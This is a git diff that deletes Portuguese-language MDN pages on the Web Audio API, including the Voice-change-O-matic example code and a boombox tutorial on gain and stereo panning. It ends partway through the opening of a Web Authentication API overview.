-<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151]">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
-// Webkit/blink browsers need prefix, Safari won't work without window.
-
-var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
-var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
-var mute = document.querySelector('.mute'); // mute button
-var drawVisual; // requestAnimationFrame
-
-var analyser = audioCtx.createAnalyser();
-var distortion = audioCtx.createWaveShaper();
-var gainNode = audioCtx.createGain();
-var biquadFilter = audioCtx.createBiquadFilter();
-
-function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
-  var k = typeof amount === 'number' ? amount : 50,
-    n_samples = 44100,
-    curve = new Float32Array(n_samples),
-    deg = Math.PI / 180,
-    i = 0,
-    x;
-  for ( ; i &lt; n_samples; ++i ) {
-    x = i * 2 / n_samples - 1;
-    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
-  }
-  return curve;
-};
-
-navigator.getUserMedia (
-  // constraints - only audio needed for this app
-  {
-    audio: true
-  },
-
-  // Success callback
-  function(stream) {
-    source = audioCtx.createMediaStreamSource(stream);
-    source.connect(analyser);
-    analyser.connect(distortion);
-    distortion.connect(biquadFilter);
-    biquadFilter.connect(gainNode);
-    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
-
-    visualize(stream);
-    voiceChange();
-
-  },
-
-  // Error callback
-  function(err) {
-    console.log('The following gUM error occured: ' + err);
-  }
-);
-
-function visualize(stream) {
-  WIDTH = canvas.width;
-  HEIGHT = canvas.height;
-
-  var visualSetting = visualSelect.value;
-  console.log(visualSetting);
-
-  if(visualSetting == "sinewave") {
-    analyser.fftSize = 2048;
-    var bufferLength = analyser.frequencyBinCount; // half the FFT value
-    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
-
-    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
-
-    function draw() {
-
-      drawVisual = requestAnimationFrame(draw);
-
-      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
-
-      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
-      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
-
-      canvasCtx.lineWidth = 2;
-      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
-
-      canvasCtx.beginPath();
-
-      var sliceWidth = WIDTH * 1.0 / bufferLength;
-      var x = 0;
-
-      for(var i = 0; i &lt; bufferLength; i++) {
-
-        var v = dataArray[i] / 128.0;
-        var y = v * HEIGHT/2;
-
-        if(i === 0) {
-          canvasCtx.moveTo(x, y);
-        } else {
-          canvasCtx.lineTo(x, y);
-        }
-
-        x += sliceWidth;
-      }
-
-      canvasCtx.lineTo(canvas.width, canvas.height/2);
-      canvasCtx.stroke();
-    };
-
-    draw();
-
-  } else if(visualSetting == "off") {
-    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
-    canvasCtx.fillStyle = "red";
-    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
-  }
-
-}
-
-function voiceChange() {
-  distortion.curve = new Float32Array;
-  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
-
-  var voiceSetting = voiceSelect.value;
-  console.log(voiceSetting);
-
-  if(voiceSetting == "distortion") {
-    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
-  } else if(voiceSetting == "biquad") {
-    biquadFilter.type = "lowshelf";
-    biquadFilter.frequency.value = 1000;
-    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
-  } else if(voiceSetting == "off") {
-    console.log("Voice settings turned off"); // do nothing, as off option was chosen
-  }
-
-}
-
-// event listeners to change visualize and voice settings
-
-visualSelect.onchange = function() {
-  window.cancelAnimationFrame(drawVisual);
-  visualize(stream);
-}
-
-voiceSelect.onchange = function() {
-  voiceChange();
-}
-
-mute.onclick = voiceMute;
-
-function voiceMute() { // toggle to mute and unmute sound
-  if(mute.id == "") {
-    gainNode.gain.value = 0; // gain set to 0 to mute sound
-    mute.id = "activated";
-    mute.innerHTML = "Unmute";
-  } else {
-    gainNode.gain.value = 1; // gain set to 1 to unmute sound
-    mute.id = "";
-    mute.innerHTML = "Mute";
-  }
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Web Audio API')}}</td>
- <td>{{Spec2('Web Audio API')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>14 {{property_prefix("webkit")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>23</td>
- <td>{{CompatNo}}</td>
- <td>15 {{property_prefix("webkit")}}<br>
- 22 (unprefixed)</td>
- <td>6 {{property_prefix("webkit")}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatNo}}</td>
- <td>28 {{property_prefix("webkit")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>25</td>
- <td>1.2</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>6 {{property_prefix("webkit")}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
- <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
- <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
- <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
- <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
- <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li>
- <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
- <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
-</ul>
-
-<section id="Quick_Links">
-<h3 id="Hiperligações_Rápidas">Hiperligações Rápidas</h3>
-
-<ol>
- <li data-default-state="open"><strong><a href="#">Guias</a></strong>
-
- <ol>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
- </ol>
- </li>
- <li data-default-state="open"><strong><a href="#">Exemplos</a></strong>
- <ol>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API/Simple_synth">Simple synth keyboard</a></li>
- <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
- <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
- </ol>
- </li>
- <li data-default-state="open"><strong><a href="#">Interfaces</a></strong>
- <ol>
- <li>{{domxref("AnalyserNode")}}</li>
- <li>{{domxref("AudioBuffer")}}</li>
- <li>{{domxref("AudioBufferSourceNode")}}</li>
- <li>{{domxref("AudioContext")}}</li>
- <li>{{domxref("AudioDestinationNode")}}</li>
- <li>{{domxref("AudioListener")}}</li>
- <li>{{domxref("AudioNode")}}</li>
- <li>{{domxref("AudioParam")}}</li>
- <li>{{event("audioprocess")}} (event)</li>
- <li>{{domxref("AudioProcessingEvent")}}</li>
- <li>{{domxref("BiquadFilterNode")}}</li>
- <li>{{domxref("ChannelMergerNode")}}</li>
- <li>{{domxref("ChannelSplitterNode")}}</li>
- <li>{{event("complete")}} (event)</li>
- <li>{{domxref("ConvolverNode")}}</li>
- <li>{{domxref("DelayNode")}}</li>
- <li>{{domxref("DynamicsCompressorNode")}}</li>
- <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
- <li>{{domxref("GainNode")}}</li>
- <li>{{domxref("MediaElementAudioSourceNode")}}</li>
- <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
- <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
- <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
- <li>{{domxref("OfflineAudioContext")}}</li>
- <li>{{domxref("OscillatorNode")}}</li>
- <li>{{domxref("PannerNode")}}</li>
- <li>{{domxref("PeriodicWave")}}</li>
- <li>{{domxref("ScriptProcessorNode")}}</li>
- <li>{{domxref("WaveShaperNode")}}</li>
- </ol>
- </li>
-</ol>
-</section>
diff --git a/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html b/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html
deleted file mode 100644
index b4c7daf6c4..0000000000
--- a/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html
+++ /dev/null
@@ -1,260 +0,0 @@
----
-title: Utilizar a API de Áudio da Web
-slug: Web/API/Web_Audio_API/Using_Web_Audio_API
-tags:
- - API
- - API de Áudio da Web
- - Guía
- - Referencia
- - Utilização
- - básicos
-translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API
-original_slug: Web/API/Web_Audio_API/Utilizar_api_audio_web
----
-<div>{{DefaultAPISidebar("Web Audio API")}}</div>
-
-<div class="summary">
-<p>Vamos ver como começar a utilizar a API de Áudio da Web. Nós iremos ver resumidamente alguns conceitos, e depois estudar um exemplo simples de caixa de som que nos permite carregar uma faixa de áudio, reproduzi-la e pausá-la, e alterar o seu volume e <em>panning</em> estéreo<span class="seoSummary">.</span></p>
-</div>
-
-<div>
-<p>The Web Audio API does not replace the <a href="/en-US/docs/Web/HTML/Element/audio">&lt;audio&gt;</a> media element, but rather complements it, just like <a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a> coexists alongside the <a href="/en-US/docs/Web/HTML/Element/Img">&lt;img&gt;</a> element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the &lt;audio&gt; media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.</p>
-
-<p>A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.</p>
-</div>
-
-<h2 id="Código_exemplo">Código exemplo</h2>
-
-<p>A nossa caixa de música parece-se com isto:</p>
-
-<p><img alt="A boombox with play, pan, and volume controls" src="https://mdn.mozillademos.org/files/16197/boombox.png" style="border-style: solid; border-width: 1px; height: 646px; width: 1200px;"></p>
-
-<p>Note the retro cassette deck with a play button, and vol and pan sliders to allow you to alter the volume and stereo panning. We could make this a lot more complex, but this is ideal for simple learning at this stage.</p>
-
-<p><a href="https://codepen.io/Rumyra/pen/qyMzqN/">Check out the final demo here on Codepen</a>, or see the <a href="https://github.com/mdn/webaudio-examples/tree/master/audio-basics">source code on GitHub</a>.</p>
-
-<h2 id="Suporte_para_navegador">Suporte para navegador</h2>
-
-<p>Modern browsers have good support for most features of the Web Audio API. There are a lot of features of the API, so for more exact information, you'll have to check the browser compatibility tables at the bottom of each reference page.</p>
-
-<h2 id="Gráficos_de_áudio">Gráficos de áudio</h2>
-
-<p>Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.</p>
-
-<p>The Web Audio API handles audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.</p>
-
-<p>Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.</p>
-
-<h2 id="Contxeto_de_Áudio">Contxeto de Áudio</h2>
-
-<p>To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.</p>
-
-<pre class="brush: js">// for legacy browsers
-const AudioContext = window.AudioContext || window.webkitAudioContext;
-
-const audioCtx = new AudioContext();
-</pre>
-
-<p>So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.</p>
-
-<div class="note">
-<p><strong>Note</strong>: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.</p>
-</div>
-
-<h2 id="Carregar_som">Carregar som</h2>
-
-<p>Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.</p>
-
-<pre class="brush: html">&lt;audio src="myCoolTrack.mp3" type="audio/mpeg"&gt;&lt;/audio&gt;
-</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: If the sound file you're loading is held on a different domain you will need to use the <code>crossorigin</code> attribute; see <a href="/en-US/docs/Web/HTTP/CORS">Cross Origin Resource Sharing (CORS)</a>  for more information.</p>
-</div>
-
-<p>To use all the nice things we get with the Web Audio API, we need to grab the source from this element and <em>pipe</em> it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:</p>
-
-<pre class="brush: js">// get the audio element
-const audioElement = document.querySelector('audio');
-
-// pass it into the audio context
-const track = audioCtx.createMediaElementSource(audioElement);
-</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: The <code>&lt;audio&gt;</code> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.</p>
-</div>
-
-<h2 id="Controlar_o_som">Controlar o som</h2>
-
-<p>When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: We need to take into account the new autoplay policy that modern browsers have, which calls for a user gesture before media can play (see Chrome's <a href="https://developers.google.com/web/updates/2017/09/autoplay-policy-changes">Autoplay Policy Changes</a>, for example). This has been implemented because autoplaying media is really bad for many reasons — it is annoying and intrusive at the very least, and also causes accessibility problems. This is accounted for by our play/pause button.</p>
-</div>
-
-<p>Let's take a look at our play and pause functionality to start with. We have a play button that changes to a pause button when the track is playing:</p>
-
-<pre class="brush: html">&lt;button data-playing="false" role="switch" aria-checked="false"&gt;
- &lt;span&gt;Play/Pause&lt;/span&gt;
-&lt;/button&gt;
-</pre>
-
-<p>Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.</p>
-
-<p>We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:</p>
-
-<pre class="brush: js">track.connect(audioCtx.destination);
-</pre>
-
-<p>A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:</p>
-
-<p><img alt="an audio graph with an audio element source connected to the default destination" src="https://mdn.mozillademos.org/files/16195/graph1.jpg" style="border-style: solid; border-width: 1px; height: 486px; width: 1426px;"></p>
-
-<p>Now we can add the play and pause functionality.</p>
-
-<pre class="brush: js">// select our play button
-const playButton = document.querySelector('button');
-
-playButton.addEventListener('click', function() {
-
- // check if context is in suspended state (autoplay policy)
- if (audioCtx.state === 'suspended') {
- audioCtx.resume();
- }
-
- // play or pause track depending on state
- if (this.dataset.playing === 'false') {
- audioElement.play();
- this.dataset.playing = 'true';
- } else if (this.dataset.playing === 'true') {
- audioElement.pause();
- this.dataset.playing = 'false';
- }
-
-}, false);
-</pre>
-
-<p>We also need to take into account what to do when the track finishes playing. Our <code>HTMLMediaElement</code> fires an <code>ended</code> event once it's finished playing, so we can listen for that and run code accordingly:</p>
-
-<pre class="brush: js">audioElement.addEventListener('ended', () =&gt; {
- playButton.dataset.playing = 'false';
-}, false);
-</pre>
-
-<h2 id="Um_aparte_sobre_o_editor_de_Áudio_da_Web">Um aparte sobre o editor de Áudio da Web</h2>
-
-<p>Firefox has a tool available called the <a href="/en-US/docs/Tools/Web_Audio_Editor">Web Audio editor</a>. On any page that has an audio graph running on it, you can open the developer tools, and use the Web Audio tab to view the audio graph, see what properties each node has available, and change the values of those properties to see what effect that has.</p>
-
-<p><img alt="The Firefox web audio editor showing an audio graph with AudioBufferSource, IIRFilter, and AudioDestination" src="https://mdn.mozillademos.org/files/16198/web-audio-editor.png" style="border-style: solid; border-width: 1px; height: 365px; width: 1200px;"></p>
-
-<div class="note">
-<p><strong>Nota</strong>: The Web Audio editor is not enabled by default. To display it, you need to go into the Firefox developer tools settings and check the <em>Web Audio</em> checkbox in the <em>Default Developer Tools</em> section.</p>
-</div>
-
-<h2 id="Modificar_o_som">Modificar o som</h2>
-
-<p>Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.</p>
-
-<p>There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. <code>audioCtx.createGain()</code>) or via a constructor of the node (e.g. <code>new GainNode()</code>). We'll use the factory method in our code:</p>
-
-<pre class="brush: js">const gainNode = audioCtx.createGain();
-</pre>
-
-<p>Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:</p>
-
-<pre class="brush: js">track.connect(gainNode).connect(audioCtx.destination);
-</pre>
-
-<p>This will make our audio graph look like this:</p>
-
-<p><img alt="an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination" src="https://mdn.mozillademos.org/files/16196/graph2.jpg" style="border-style: solid; border-width: 1px; height: 550px; width: 1774px;"></p>
-
-<p>The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).</p>
-
-<p>Let's give the user control to do this — we'll use a <a href="/en-US/docs/Web/HTML/Element/input/range">range input</a>:</p>
-
-<pre class="brush: html">&lt;input type="range" id="volume" min="0" max="2" value="1" step="0.01" /&gt;
-</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.</p>
-</div>
-
-<p>So let's grab this input's value and update the gain value when the input node has its value changed by the user:</p>
-
-<pre class="brush: js">const volumeControl = document.querySelector('#volume');
-
-volumeControl.addEventListener('input', function() {
- gainNode.gain.value = this.value;
-}, false);
-</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: The values of node objects (e.g. <code>GainNode.gain</code>) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set <code>GainNode.gain</code>'s <code>value</code> property, rather than just setting the value on <code>gain</code> directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.</p>
-</div>
-
-<p>Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.</p>
-
-<h2 id="Adicionar_panning_estéreo_à_sua_aplicação">Adicionar <em>panning</em> estéreo à sua aplicação</h2>
-
-<p>Let's add another modification node to practise what we've just learnt.</p>
-
-<p>There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.</p>
-
-<p>Note: The <code>StereoPannerNode</code> is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound <em>spatialisation</em>, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.</p>
-
-<p>To visualise it, we will be making our audio graph look like this:</p>
-
-<p><img alt="An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node." src="https://mdn.mozillademos.org/files/16229/graphPan.jpg" style="border-style: solid; border-width: 1px; height: 532px; width: 2236px;"></p>
-
-<p>Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:</p>
-
-<pre class="brush: js">const pannerOptions = {pan: 0};
-const panner = new StereoPannerNode(audioCtx, pannerOptions);
-</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.</p>
-</div>
-
-<p>Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:</p>
-
-<pre class="brush: html">&lt;input type="range" id="panner" min="-1" max="1" value="0" step="0.01" /&gt;
-</pre>
-
-<p>We use the values from that input to adjust our panner values in the same way as we did before:</p>
-
-<pre class="brush: js">const pannerControl = document.querySelector('#panner');
-
-pannerControl.addEventListener('input', function() {
- panner.pan.value = this.value;
-}, false);
-</pre>
-
-<p>Let's adjust our audio graph again, to connect all the nodes together:</p>
-
-<pre class="brush: js">track.connect(gainNode).connect(panner).connect(audioCtx.destination);
-</pre>
-
-<p>The only thing left to do is give the app a try: <a href="https://codepen.io/Rumyra/pen/qyMzqN/">Check out the final demo here on Codepen</a>.</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.</p>
-
-<p>This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.</p>
-
-<h2 id="Mais_exemplos">Mais exemplos</h2>
-
-<p>There are other examples available to learn more about the Web Audio API.</p>
-
-<p>The <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-matic</a> is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (<a href="https://mdn.github.io/voice-change-o-matic/">run the Voice-change-O-matic live</a>).</p>
-
-<p><img alt="A UI with a sound wave being shown, and options for choosing voice effects and visualizations." src="https://mdn.mozillademos.org/files/7921/voice-change-o-matic.png" style="border-style: solid; border-width: 1px; display: block; height: 500px; margin: 0px auto; width: 640px;"></p>
-
-<p>Another application developed specifically to demonstrate the Web Audio API is the <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (<a href="https://github.com/mdn/violent-theremin">see Violent Theremin source code</a>).</p>
-
-<p><img alt="A page full of rainbow colours, with two buttons labeled Clear screen and mute. " src="https://mdn.mozillademos.org/files/7919/violent-theremin.png" style="border-style: solid; border-width: 1px; display: block; height: 458px; margin: 0px auto; width: 640px;"></p>
-
-<p>Consulte também a nossa <a href="https://github.com/mdn/webaudio-examples">repositório de exemplos de áudio</a> para mais exemplos.</p>
diff --git a/files/pt-pt/web/api/web_authentication_api/index.html b/files/pt-pt/web/api/web_authentication_api/index.html
deleted file mode 100644
index 65a1bf21aa..0000000000
--- a/files/pt-pt/web/api/web_authentication_api/index.html
+++ /dev/null
@@ -1,150 +0,0 @@
----
-title: APi de Autenticação da Web
-slug: Web/API/Web_Authentication_API
-tags:
- - API
- - API de Autenticação da Web
- - Landing
- - Referencia
-translation_of: Web/API/Web_Authentication_API
-original_slug: Web/API/API_Autenticacao_Web
----
-<div>{{draft}}{{SeeCompatTable}}{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}</div>
-
-<p class="summary">A "API de Autenticação da Web" é uma extensão de <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a> que permite uma autenticação forte com a criptografia de chave pública, permitindo a autenticação sem palavra-passe e/ou autenticação de segundo fator segura sem textos de SMS.</p>
-
-<h2 id="Conceitos_e_utilização_da_autenticação_da_Web">Conceitos e utilização da autenticação da Web</h2>
-
-<p>The Web Authtentication API (also referred to as WebAuthn) uses <a href="https://en.wikipedia.org/wiki/Public-key_cryptography">asymmetric (public-key) cryptography</a> instead of passwords or SMS texts for registering, authenticating, and <a href="https://en.wikipedia.org/wiki/Multi-factor_authentication">second-factor authentication</a> with websites. This resolves significant security problems related to <a href="https://en.wikipedia.org/wiki/Phishing">phishing</a>, <a href="https://en.wikipedia.org/wiki/Data_breach">data breaches</a>, and attacks against SMS texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).</p>
-
-<p>Many websites already have pages that allow users to register new accounts or sign in to an existing account, and WebAuthn acts as a replacement or suppliment to those on those existing webpages. Similar to the other forms of the <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, the Web Authentication API has two basic methods that correspond to register and login:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/CredentialsContainer/create">navigator.credentials.create()</a> - when used with the publicKey option, creates new credentials, either for registering a new account or for associating a new asymmetric key pair credentials with an existing account.</li>
- <li><a href="/en-US/docs/Web/API/CredentialsContainer/get">navigator.credentials.get()</a> - when used with the publicKey option, uses an existing set of credentials to authenticate to a service, either logging a user in or as a form of second-factor authentication.</li>
-</ul>
-
-<p><strong>Por favor, note:</strong> both create() and get() require a <a href="/en-US/docs/Web/Security/Secure_Contexts">Secure Context</a> (e.g. - the server is connected by https or is the localhost), and will not be available for use if the browser is not operating in a secure context.</p>
-
-<p>In their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.</p>
-
-<p>In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser:</p>
-
-<ol>
- <li><strong>Servidor</strong> - the WebAuthn API is intended to register new credentials on a server (also referred to as a service or a <a href="https://en.wikipedia.org/wiki/Relying_party">relying party</a>) and later use those same credentials on that same server to authenticate a user.</li>
- <li><strong>Autenticador</strong> - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using WebAuthn, the password is replaced with a key pair that is stored in an authenticator. The authenticator may be embedded into an operating system, such as Windows Hello, or may be a physical token, such as a USB or Bluetooth Security Key.</li>
-</ol>
-
-<h3 id="Registo">Registo</h3>
-
-<p>A typical registration process has six steps, as illustrated in Figure 1 and described further below. This is a simplification of the data required for the registration process that is only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the {{domxref("PublicKeyCredentialCreationOptions")}} dictionary. Likewise, the full set of response fields can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAttestationResponse")}} interface). Note most JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.</p>
-
-<p><img alt="WebAuthn registration component and dataflow diagram" src="https://mdn.mozillademos.org/files/15801/MDN%20Webauthn%20Registration%20(r3).png" style="height: 546px; width: 1118px;"></p>
-
-<p><em>Figura 1 - a diagram showing the sequence of actions for a WebAuthn registration and the essential data associated with each action.</em></p>
-
-<p>Os passos de registo são:</p>
-
-<ol start="0">
- <li><strong>Registo de Pedidos da Aplicação</strong> - The application makes the initial registration request. The protocol and format of this request is outside of the scope of WebAuthn.</li>
